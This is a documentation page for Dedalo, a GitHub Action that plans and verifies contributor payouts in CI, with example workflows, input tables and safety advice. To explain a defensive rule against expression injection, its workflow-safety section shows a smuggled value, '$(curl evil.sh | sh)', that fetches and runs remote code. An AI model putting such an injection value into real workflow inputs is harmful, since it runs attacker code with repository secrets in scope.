Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

In CI

A payout belongs in the pipeline that merged the code. Dedalo ships as a GitHub Action for that reason.

The minimum

name: Funding

on:
  workflow_dispatch:
    inputs:
      amount:
        description: Size of the round
        required: true

jobs:
  plan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v5
        with:
          fetch-depth: 0          # attribution needs the full history

      - uses: dedalo-org/dedalo@v0
        id: dedalo
        with:
          command: plan
          amount: ${{ inputs.amount }}

      - run: echo "plan ${{ steps.dedalo.outputs.plan-id }}"

Carefulfetch-depth: 0 is not optional. A shallow clone has no merge history, and the failure mode is not an error: it is an empty round. The Action detects a shallow clone and unshallows it with a warning, but the warning is easy to miss in a green run.

Inputs

InputDefaultMeaning
versionlatestRelease to use, e.g. v0.1.0. Pin it for reproducible runs.
commandstatusstatus, scan, contributors, plan or settle.
amountSize of the round, for plan and settle.
sinceStart after this revision instead of the last settled commit.
executefalseBroadcast for real. No backend can today — see below.
working-directory.Repository to operate on.
summarytrueWrite the payout plan to the workflow run summary.

Outputs

OutputMeaning
jsonRaw JSON of the command.
plan-idContent hash of the plan, when the command produced one.
totalTotal that would move, in base units.

Verify the ledger on every push

The cheapest useful job in the repository, and the one that catches a ledger that was edited or a .dedalo/ that was partly committed:

  verify:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
        with: { fetch-depth: 0 }
      - uses: dedalo-org/dedalo@v0
        with:
          command: verify

No network, no key, no secrets. It either verifies or it does not.

Post the pending round on a schedule

on:
  schedule:
    - cron: "0 9 1 * *"        # 09:00 on the first of the month

jobs:
  pending:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
        with: { fetch-depth: 0 }
      - uses: dedalo-org/dedalo@v0
        with:
          command: contributors
          summary: "true"

The run summary then shows who has earned what since the last round, every month, without anybody having to remember.

execute: true does nothing today

The input exists and defaults to false, and setting it to true will not broadcast anything, because Dedalo holds no signing key and no backend can sign. A round is funded by people executing what dedalo propose prints, from a multisig. See Funding from a multisig.

This is not a limitation waiting to be removed. It is the design: a key in CI is reachable by everything that can write a workflow.

Workflow safety

The Action runs in other people’s repositories with their secrets in scope, and it is written accordingly. Two rules it follows, worth copying into any workflow you build around it:

  • Never interpolate ${{ }} into a run: block. Pass values through env:. An amount of $(curl evil.sh | sh) interpolated into a shell script executes. zizmor fails the build on this, and it is right to.
  • Pin third-party actions to a commit, with the tag as a trailing comment. A moving tag can be repointed at new code by whoever owns it.

Commands with side effects run once

action.yml deliberately does not re-run settle to render nicer output. If you are wrapping Dedalo in your own workflow, do the same: one invocation, and format its --json output rather than calling it again.